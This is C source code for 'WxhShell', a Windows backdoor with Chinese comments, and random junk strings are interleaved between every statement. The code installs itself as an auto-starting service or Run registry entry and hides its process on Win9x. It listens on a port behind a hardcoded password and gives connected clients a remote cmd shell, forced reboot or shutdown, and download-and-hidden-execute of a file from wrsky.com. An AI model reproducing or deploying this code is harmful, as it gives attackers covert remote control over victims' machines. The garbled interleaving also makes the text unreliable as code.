Qr xO
erp g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yp7,^l NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Phjf$\pt )l/C_WEK if (!NtQueryInformationProcess) return 0; p-ii($~} v6,
o/3Ex hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EJ[iOYx if(!hProcess) return 0; fjzr8vU}C zv3<i ( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4<!}4 yO69p CloseHandle(hProcess); Zzzi\5&gU TQyFF/K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +k"8e?/e. if(hProcess==NULL) return 0; {Rh+]=7 [~rk` HMODULE hMod; ( Nve5 char procName[255]; E].a|4sh unsigned long cbNeeded; IcNI uv l.LFlwt if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !&:.Uh A 'P}mrY CloseHandle(hProcess); 5la]l rea}Uq+po if(strstr(procName,"services")) return 1; // 以服务启动 qy0_1xT- 1\9BO:<K return 0; // 注册表启动 Y)-)NLLG;n } P+h<{%:* l2_E6U" // 主模块 P#'DG W&W0 int StartWxhshell(LPSTR lpCmdLine) x[,wJzp\6 { W,eKQV<j SOCKET wsl; `J;/=tf09 BOOL val=TRUE; r E*u int port=0; d3q/mg 5a struct sockaddr_in door; {b8 Y- =u1w\>( 2Y if(wscfg.ws_autoins) Install(); >w2WyYJYH H0Gp mKYW port=atoi(lpCmdLine); h4xf%vA(; YuZ
if(port<=0) port=wscfg.ws_port; ?&bVe__ 7m)ykq:? WSADATA data; DT~y^h if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -O q=J; 3lEU$)QA3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p[+me o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }u$aPS<$! door.sin_family = AF_INET; YSUH*i/% door.sin_addr.s_addr = inet_addr("127.0.0.1"); Woy[V door.sin_port = htons(port); 'S-"*:$,u ,lG wW8$R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pt;Sk?-1 closesocket(wsl); 1OGv+b)
return 1; g KY
,G } wEn&zZjx ktJLpZ<0O if(listen(wsl,2) == INVALID_SOCKET) { 79fyn!Iz< closesocket(wsl); CX2q7azG return 1; :JG}% } *j; r|P;g Wxhshell(wsl); YuW\GSV00 WSACleanup(); g?Ty5~:lq n\NDi22 return 0; xa axj 5nw9zW
:' } [ESQD5& o sH,(\4_ // 以NT服务方式启动
@(5RAYRV VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "k@/Z7= { JA2} DWORD status = 0; ^bw~$*"j# DWORD specificError = 0xfffffff;
vX )Y%I ap_+C~%+ serviceStatus.dwServiceType = SERVICE_WIN32; ?B4QTx9B serviceStatus.dwCurrentState = SERVICE_START_PENDING; S6:gow(wU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xqZ%c/I3q serviceStatus.dwWin32ExitCode = 0; |?b"my$g$ serviceStatus.dwServiceSpecificExitCode = 0; s+t eYL#Zi serviceStatus.dwCheckPoint = 0; F4l6PGxF&\ serviceStatus.dwWaitHint = 0; QU;C*}0Zl K&oO+ G^f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K%@SS8!oy if (hServiceStatusHandle==0) return; f3&//h8 +f~3FXM status = GetLastError(); aQuy*\$$ if (status!=NO_ERROR) Ss/="jC { mq}
#{ serviceStatus.dwCurrentState = SERVICE_STOPPED; <p8y'KAlc serviceStatus.dwCheckPoint = 0; mT$tAwzTC{ serviceStatus.dwWaitHint = 0; "N"k8,LH serviceStatus.dwWin32ExitCode = status; _Dt TG<E serviceStatus.dwServiceSpecificExitCode = specificError; [vT,zM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8Q{4c return; =!Cvu.~}, } ]8z6gDp ' vClZGQ1 serviceStatus.dwCurrentState = SERVICE_RUNNING; mTbPzZ4 serviceStatus.dwCheckPoint = 0; LKG|S<s serviceStatus.dwWaitHint = 0; wBGxJ\+M if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u _^=]K; } bhT]zsBK 2UJ0%k // 处理NT服务事件,比如:启动、停止 : \`MrI^ VOID WINAPI NTServiceHandler(DWORD fdwControl) =l_"M { ~1!kU4 switch(fdwControl) 9_dsiM7CT { lO@Ba;x case SERVICE_CONTROL_STOP: 0`=?ig_ serviceStatus.dwWin32ExitCode = 0; \'b-;exH serviceStatus.dwCurrentState = SERVICE_STOPPED; c9k,Dc serviceStatus.dwCheckPoint = 0; B75SLK:h= serviceStatus.dwWaitHint = 0; Y'R1\Go- { Y5pNKL SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~+ur*3X }
/PS]AM return; sP8B?Tn1W case SERVICE_CONTROL_PAUSE: ^ 9E(8DD serviceStatus.dwCurrentState = SERVICE_PAUSED; !(o2K!v0 break; D/>5\da+y case SERVICE_CONTROL_CONTINUE: a-=apD1RvG serviceStatus.dwCurrentState = SERVICE_RUNNING; w+D5a
VJ break; |U0@(H
case SERVICE_CONTROL_INTERROGATE: 9_$Odc%] break; `Nr7N#g+u }; Qgi:q SetServiceStatus(hServiceStatusHandle, &serviceStatus); "+_0idpF } tx-bzLo\ osI(g'Xb // 标准应用程序主函数 /y@iaptC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,B!Qv3bn { Ss}0.5Bq b@Cvs4 // 获取操作系统版本 8tk`1E8!j OsIsNt=GetOsVer(); HDxw2nz*R GetModuleFileName(NULL,ExeFile,MAX_PATH); &*SnDuc !ZdUW] // 从命令行安装 p:))ne:7 if(strpbrk(lpCmdLine,"iI")) Install(); |+''d 06
1=pV$CJ // 下载执行文件 QI<3N if(wscfg.ws_downexe) { WDR!e2G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nrS_t
y WinExec(wscfg.ws_filenam,SW_HIDE); G}*B`m } :4d7%q 6;DPGx if(!OsIsNt) { &n
wg$z{Y // 如果时win9x,隐藏进程并且设置为注册表启动 m+ YgfR HideProc(); ]y
e StartWxhshell(lpCmdLine); J>Ha$1}u/ } f|)t[,c else NST6pu\,U if(StartFromService()) ~Otf
" < // 以服务方式启动 T~E83Jw StartServiceCtrlDispatcher(DispatchTable); `}l%Am else ualtIHXK) // 普通方式启动 b iD7(AK StartWxhshell(lpCmdLine); f
;JSP RCr:2
Iz return 0; i:72FVo } 8!fwXm ,5,4 Qf7 Tc:`TE=2 AJmzg =========================================== 5[k35c{ \;<Y/sg DSp@ >%,tyJ~ W#Z]mt B tK*f8X+q " ^=j$~*(LmX lVHJ}(<'p #include <stdio.h> WP9=@X Z #include <string.h> :C5N(x #include <windows.h> 7_,X9^z #include <winsock2.h> crQuoOl7 #include <winsvc.h> eNX-2S #include <urlmon.h> hv6>3gbr =v-D}eJQ= #pragma comment (lib, "Ws2_32.lib") q6dq@ #pragma comment (lib, "urlmon.lib") S6
*dp68 .67W\p #define MAX_USER 100 // 最大客户端连接数 "]<Ut{Xb #define BUF_SOCK 200 // sock buffer .xx9tP}Xy #define KEY_BUFF 255 // 输入 buffer AyDK-8a [sBD|P;M #define REBOOT 0 // 重启 _=b[b]Ec$s #define SHUTDOWN 1 // 关机 w# ['{GL Y9N:%[ :>W #define DEF_PORT 5000 // 监听端口 (;N_lF0 ~JJv 2 #define REG_LEN 16 // 注册表键长度 *zcH3a,9"x #define SVC_LEN 80 // NT服务名长度 p5\b&~
g tx.sUu6 // 从dll定义API apXq$wWq{D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {<lV=0] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qa=;Elp:[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); })Jp5vv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _]g6
3q ?`xId;}J#7 // wxhshell配置信息 Tym!7H2 struct WSCFG { '@FKgy;B)- int ws_port; // 监听端口 sx;1V{|g char ws_passstr[REG_LEN]; // 口令 y<
84Gw_ int ws_autoins; // 安装标记, 1=yes 0=no IaB
A 2 char ws_regname[REG_LEN]; // 注册表键名 #X+) char ws_svcname[REG_LEN]; // 服务名 6m9Z5:xG char ws_svcdisp[SVC_LEN]; // 服务显示名 B!Y;VdX char ws_svcdesc[SVC_LEN]; // 服务描述信息 g?ft;kR6S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uv$y"1'g int ws_downexe; // 下载执行标记, 1=yes 0=no >}iYZ[ V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 51A>eU| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j<[<qU: d 9|u~3 }; PF~&!~S>W 4D8q Gti // default Wxhshell configuration f`Nu]#i struct WSCFG wscfg={DEF_PORT, 8m iIlB "xuhuanlingzhe", +q1@,LxN 1, J<2N~$ "Wxhshell", |b@-1 "Wxhshell", KM6r}CDHs "WxhShell Service", "(5M }5D "Wrsky Windows CmdShell Service", w*?JW "Please Input Your Password: ", F
1BPzRo` 1, ^J327 "http://www.wrsky.com/wxhshell.exe", ^U52
*6 "Wxhshell.exe" S}>rsg! }; lp6GiF 7Y-GbG.' // 消息定义模块 F~m tE8B: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wXP1tM8T char *msg_ws_prompt="\n\r? for help\n\r#>"; cla4%|kq3Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )vw3Y88 char *msg_ws_ext="\n\rExit."; ~o+u: ] char *msg_ws_end="\n\rQuit."; j=7 ]"% char *msg_ws_boot="\n\rReboot..."; `'~|DG}a char *msg_ws_poff="\n\rShutdown..."; /)|*Vzu char *msg_ws_down="\n\rSave to "; GB0] |z5 [mhY_Hmz] char *msg_ws_err="\n\rErr!"; -C\m'T,1 char *msg_ws_ok="\n\rOK!"; `O[M#y%*E |
.PLfc; char ExeFile[MAX_PATH]; qYE -z(i int nUser = 0; (+_Amw!W HANDLE handles[MAX_USER]; 2a{eJ89f int OsIsNt; >q`G?9d2 %P?W^mI SERVICE_STATUS serviceStatus; `H\^#Zu
SERVICE_STATUS_HANDLE hServiceStatusHandle; A&z :
"UBeo<Z // 函数声明 Cu}Rq!9i int Install(void); J &c}z4 int Uninstall(void); ]_-<[0 int DownloadFile(char *sURL, SOCKET wsh); B!,})F$x int Boot(int flag); T^"d%au void HideProc(void); b747 eR 7E int GetOsVer(void); lGxG$0`;; int Wxhshell(SOCKET wsl); 46*?hA7@r( void TalkWithClient(void *cs); "kMpa]<c-6 int CmdShell(SOCKET sock); bH&[O`vf int StartFromService(void); IE3GM^7\ int StartWxhshell(LPSTR lpCmdLine); sYvO"| mFT[[Z# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IuPwFf) VOID WINAPI NTServiceHandler( DWORD fdwControl ); ztf (.~ es.`:^A // 数据结构和表定义 2lQ'rnqS) SERVICE_TABLE_ENTRY DispatchTable[] = rK];2[U { u+hzCCwtR {wscfg.ws_svcname, NTServiceMain}, T\OLysc {NULL, NULL} z*:^*, }; u ;I5n ,#<"VU2 bC // 自我安装 sC/T)q2 int Install(void) F$)Ki(mq { t.NG]ejZ char svExeFile[MAX_PATH]; J|s4c`= HKEY key; #bnFR strcpy(svExeFile,ExeFile); /QTGZb ~dC^| // 如果是win9x系统,修改注册表设为自启动 )5B90[M|t if(!OsIsNt) { )
~X\W\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pmfyvkLS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "}EydG"= RegCloseKey(key); y>|7'M*+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # *\PU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dq[CT RegCloseKey(key); N1_nBQF ) return 0; ^/c&Ud } =8[HC}s|$ } aVd{XVE } ~W!sxM5(* else { k0%4&pU ky,+xq // 如果是NT以上系统,安装为系统服务 &FGz53fd4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X|X6^} if (schSCManager!=0) o: TO[ { nsYS0 SC_HANDLE schService = CreateService V+_L9 ( Dg\fjuK9 schSCManager, $$AKz\ wscfg.ws_svcname, oMcX{v^" wscfg.ws_svcdisp, +,If|5>( SERVICE_ALL_ACCESS, }56"4/ Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f:e~ystm SERVICE_AUTO_START, !qT.D:!@zF SERVICE_ERROR_NORMAL, H+F'K
XP*K svExeFile, EY':m_7W NULL, 6MF%$K3 NULL, tFXG4+$D NULL, Ot5
$~o NULL, +\SbrB P NULL "h\{PoG ); JQ!D8Ut if (schService!=0) [K,&s8N5 { 6dV92: CloseServiceHandle(schService); Wk`G+VR+ CloseServiceHandle(schSCManager); >AV?g8B; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -49OE*uF strcat(svExeFile,wscfg.ws_svcname); _<&IpT{w+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KD=T04v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J %URg=r RegCloseKey(key); u
JGYXlLE return 0; }Z"<KF } 9w (QM-u } Rax}r CloseServiceHandle(schSCManager); 3%>"|Ye}A } ^<7)w2ns } { 6*h';~ 's+ Fd~' return 1; TAIcp*)ZM } IYb@@Jzo xqX~nV#TB // 自我卸载 }>fL{};Z" int Uninstall(void) 4,
8gf2 { mbU[fHyV HKEY key; &$|k<{j[<f =#SKN\4 if(!OsIsNt) { YB.r-c"Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZmU S} RegDeleteValue(key,wscfg.ws_regname); hI]KT a RegCloseKey(key); =k'3rm*ld if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aV,>y"S RegDeleteValue(key,wscfg.ws_regname); UII R$,XB RegCloseKey(key); 3L/>=I{5
return 0; JmtU>2z\ } w*OZ1| } D\bW' k]! } i` n,{{x&4 else { rV54-K;`0 pu=Q;E_f[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 32:q' if (schSCManager!=0) 8it|yK.G@& { M n3cIGL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ts
aD5B if (schService!=0) /m(vIl { U_y)p Cd if(DeleteService(schService)!=0) { :;#Kg_bz CloseServiceHandle(schService); L00,{g6wqb CloseServiceHandle(schSCManager); v_En9~e^n return 0; P] ouLjyq } zsc8Lw CloseServiceHandle(schService); \|L@ } \ 2*<Pq CloseServiceHandle(schSCManager); VrrCW/o } !i2=zlpb[ } ?yU|;my &Dgho return 1; Jr==AfxyT } ehoDWO]S TY],H= // 从指定url下载文件 Nj@k|_1 int DownloadFile(char *sURL, SOCKET wsh) gQCkoQi:j { cL7je HRESULT hr; p9y
"0A| char seps[]= "/"; {|O8)bW' char *token; YO|Kc
{j2e char *file; %
Lhpj[C char myURL[MAX_PATH]; r*OSEzGUz char myFILE[MAX_PATH]; y9?B vPp+ o5-oQ_j strcpy(myURL,sURL); !FX;QD@" token=strtok(myURL,seps); *}$T:kTH while(token!=NULL)
![18+Q\ { 50F6jj file=token; C7[_#1Oz token=strtok(NULL,seps); TwqyQ49 } |)B&-~a+p &gw. &/t GetCurrentDirectory(MAX_PATH,myFILE); z;xp1t@ strcat(myFILE, "\\"); `_N8AA strcat(myFILE, file); ;^^u _SuH send(wsh,myFILE,strlen(myFILE),0); u`xmF/jhQ send(wsh,"...",3,0); 7
g8SK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F<M#T if(hr==S_OK) ?54=TA|5`F return 0; s*>s;S?{| else *!ZU"q}i return 1; k3da*vwE \SHYwD}*Pr } A|,\}9)4X[ ce0TQ // 系统电源模块 nw+L _b int Boot(int flag) $6Lgaz { &.y:QVR,! HANDLE hToken; BuCU_/H TOKEN_PRIVILEGES tkp; MMqkNe ZT5t~5W if(OsIsNt) { V7G?i\> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :z_D?UQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EW%%W6O6 tkp.PrivilegeCount = 1; ;]D@KxO$dJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cpF\^[D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j7K9T if(flag==REBOOT) { 7[rn
,8@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UeIu
-[R return 0; >0k7#q}O } 7hZCh,O else { bae .?+0[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z3<>Z\6D return 0; #UG| \}Lp } ZSuUmCm } MUh) else { :DXkAb2 if(flag==REBOOT) { +AhR7R! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]tA39JK-i return 0; 1mm/Ssw:C } OmQSNU.our else { UO47XAO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,%w_E[2 return 0; @C k6s } wj!p6D;;S } #O6SEK|Z @>,3l;\Zh return 1; {a.{x+!5I- } d8`^;T
;}d [cwc}f^ // win9x进程隐藏模块 Oh9wBV void HideProc(void) V@&zn8? { ^n!{ vHz
iJv4%|9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b#(SDNo6 if ( hKernel != NULL ) [yM{A<\L { 'g$~ij ;x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q:&,8h[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~Z!xS FreeLibrary(hKernel); <6Q]FH!6 } |}b~ss^ H0Qpc<Z4/ return; R/R[r> 1)6 } \[Op:^S i;;CU9`E2q // 获取操作系统版本 dE!{=u(!i int GetOsVer(void) B(wk $2 { ;2q;RT`h OSVERSIONINFO winfo; M p:c. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A8&yB;T$y GetVersionEx(&winfo); -sm{Hpf_b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $9Hod-Z1 return 1; tQ_;UQlX else \u?z:mV return 0; ;ob-' } oe_l:Y% rVowHP // 客户端句柄模块 q{@j$fMt0 int Wxhshell(SOCKET wsl) >gM|:FG { 1fM=>Z SOCKET wsh; IE.JIi^w struct sockaddr_in client; e;~[PYeu DWORD myID; %Ez%pT0TQ# 1,=U^W.G while(nUser<MAX_USER) zB/$*Hd { ]IMBRZQqb int nSize=sizeof(client); >DVjO9Kf wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3GUO if(wsh==INVALID_SOCKET) return 1; u6IEBYG (( \!j{&cJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S9d+#6rn if(handles[nUser]==0) gm~Ka%O|F closesocket(wsh); NX&mEz else km,}7^?F0r nUser++; mV^+`GWvo } I$xfCu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G`!#k!&r jG)fM? return 0; mj=$[y( } |UZPn>F~ C9`#57 Pp // 关闭 socket B;9X{" void CloseIt(SOCKET wsh) ^eQK.B( { o7S,W?;=5
closesocket(wsh); <^6|ZgR nUser--; Ug*:o d ExitThread(0); Os'
7h } P9;
=O$s Lo
_5r T" // 客户端请求句柄 KArt4+31 void TalkWithClient(void *cs) D@*<p h= { W4Rs9NA} ; S7
% SOCKET wsh=(SOCKET)cs; Uq `B#JI char pwd[SVC_LEN]; -'3~Y
2# char cmd[KEY_BUFF]; ;V`e%9. char chr[1]; Q+'mBi} int i,j; +!Q <gWb ))V)]+ while (nUser < MAX_USER) { [R*UPa GqBZWmAB if(wscfg.ws_passstr) { j:B?0~= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x~C%Hp*# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YA9Xe+g //ZeroMemory(pwd,KEY_BUFF); .vYU4g] i=0; ^+tAgK2 while(i<SVC_LEN) { s9svuFb ~K]5`(KV // 设置超时 z[Xs=S!]I fd_set FdRead; E9TWLB5A)( struct timeval TimeOut; P,lKa. FD_ZERO(&FdRead); *t.L` G FD_SET(wsh,&FdRead); S]mXfB(mh TimeOut.tv_sec=8; / =&HunaxI TimeOut.tv_usec=0; Q
laz3X,P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yM>:,T S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QxG:NN;jW }wRHNBaEB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYIm43r H pwd=chr[0]; VSP6osX{ if(chr[0]==0xd || chr[0]==0xa) { Wcd;B7OH pwd=0; 4^\5]d! break; 8gWifx
#N } CIAHsbn.A i++; Lb;:< } SVWtKc< 4%>iIPXi.( // 如果是非法用户,关闭 socket d6,SZ*AE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .E}fk,hLB } k44sV.G4L L;$Gn"7~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xR
`4< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2<53y~Yi% g>)&Q>}=W while(1) { q66!xhp;? L]I ;{Y ZeroMemory(cmd,KEY_BUFF); %_C!3kKv~ 6&/n/g // 自动支持客户端 telnet标准 sT:$:= j=0; ~x;1&\'k while(j<KEY_BUFF) { }qU(G3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $'Z\'<k[ cmd[j]=chr[0]; l?GN& u if(chr[0]==0xa || chr[0]==0xd) { 7\I,;swo cmd[j]=0; /KGVMBifM break; w6 0I;.hy } j xB j++; :H($|$\h } 7(c7- >8h14uCk // 下载文件 k+
[V%[U if(strstr(cmd,"http://")) { %_Gc9SI send(wsh,msg_ws_down,strlen(msg_ws_down),0); L:UJur% if(DownloadFile(cmd,wsh)) t;X
!+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); # rnO=N8 else 5#kN<S! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *9.4AW~]X } W2cgxT else { Xm,w.|dx 1KwUp0%& switch(cmd[0]) { iV<4#aBg 1_$ybftS // 帮助 _0^f case '?': { %%`Q5I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 06pEA.ro break; b#\i]2b: } *b#00)d
// 安装 ]M%kt +u! case 'i': { a&oz<4oT if(Install()) klSzmi4M send(wsh,msg_ws_err,strlen(msg_ws_err),0); vzDoF0Ts*p else AA$+ayzx9{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nGb%mlb break; h# R;'9*V } j$v2_q // 卸载 $&D$Uc`U> case 'r': { vX|i5P0)8 if(Uninstall()) 0'&N?rS send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\C" ti2 else
%T9'dcM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fsd,q?{a: break; J3/2>N]/} } !F]7q]g // 显示 wxhshell 所在路径 `-Yo$b;: case 'p': { z*,P^K 0T char svExeFile[MAX_PATH]; rBNl%+ sB strcpy(svExeFile,"\n\r");
?X{ul
strcat(svExeFile,ExeFile); 2e~ud9, send(wsh,svExeFile,strlen(svExeFile),0); {|dU|h break; -jN:~. } G.Z4h/1< // 重启 Z*r;"WHB case 'b': { bEx8dc`Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NlLgXn! if(Boot(REBOOT)) & !0 [T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .FV
wZ:d else { t<sy7e=' closesocket(wsh); N=4`jy = ExitThread(0); QN!.~> } 1 /@lZ break; g+CTF67 } ::'DWD1 // 关机 %A 4F?/E case 'd': { +-8u09-F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gN"Abc if(Boot(SHUTDOWN)) `2}H$D send(wsh,msg_ws_err,strlen(msg_ws_err),0); /m#!<t7 else { u~
%xU~v closesocket(wsh); x.gRTR`7( ExitThread(0); M? 7CBqZ } 8&d s break; r7dvj#^ } +[W_Jz // 获取shell f+A!w8E case 's': { c:;m BS>~ CmdShell(wsh); 8M9LY9C closesocket(wsh); x[%z \ ExitThread(0); aX`@WXK break; fMg3 } f9`F~6$ // 退出 /%O+]#$`0 case 'x': { ;4E(n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F|Y}X|x8Q CloseIt(wsh); <qGVOAnz+ break; Z]Zs"$q@ } mv%Zh1khn/ // 离开
'ju case 'q': { e-@=QI^, send(wsh,msg_ws_end,strlen(msg_ws_end),0); oXKH,r closesocket(wsh); I,rs&m?/m WSACleanup(); Vs/Z8t exit(1); >J!J: break; Mv\odf\] } ,gdf7&r } AvxP0@.` } rF*L@HI n G+ L'SmI // 提示信息 DJu&l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OSDx } t]QGyW A] } K~MTbdg .Y^UPxf@ return; YcQ3:i } f5droys9 @|1/yQgi // shell模块句柄 *
I{)8 int CmdShell(SOCKET sock) M10u? { 0nDlqy6b1b STARTUPINFO si; JOA_2qa>\ ZeroMemory(&si,sizeof(si)); Bp.z6x4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QSNLo_z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -T 5$l PROCESS_INFORMATION ProcessInfo; rP=!!fC1; char cmdline[]="cmd"; #SR"Q`P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '~Z#h P return 0; FX6*` } =q4QBAW vA(')"DDT // 自身启动模式 kV mJG# int StartFromService(void) Kr*s]O { VHUOI64* typedef struct a33SY6. { u{/!BCKE DWORD ExitStatus; c/g"/ICs DWORD PebBaseAddress; [)ybPIv]
DWORD AffinityMask; T5jZd@VT, DWORD BasePriority; /JOEnQ5X\! ULONG UniqueProcessId; unUCn5hJ= ULONG InheritedFromUniqueProcessId; \qU .?V[2 } PROCESS_BASIC_INFORMATION; MvO!p BwN>;g_ PROCNTQSIP NtQueryInformationProcess; 9kkYD >;ucwLi static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hsoe?kUHF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SLiQHWw*J 9=-!~_'1- HANDLE hProcess; }+_Z|>qv PROCESS_BASIC_INFORMATION pbi; <^Hh5kfS' Q>FuNdUk HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]('isq,P if(NULL == hInst ) return 0; m>@$T
x I&}Md73
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p:,(r{*? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tn# >"Ag NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KL4Z||n *+E9@r=HF if (!NtQueryInformationProcess) return 0; FL5tIfV+ [y>;[K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @jE<V=? if(!hProcess) return 0; _~M*XJ] ` >,8DwNuq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d.7pc
P ypuW}H%` CloseHandle(hProcess); +^c;4-X
0 ]i=\5FH e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Z:WgO]. if(hProcess==NULL) return 0; N[~"X**x nnU
&R HMODULE hMod; OG_2k3v char procName[255]; O; qerE?i` unsigned long cbNeeded; (~r"N?` .1yp}&e# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T
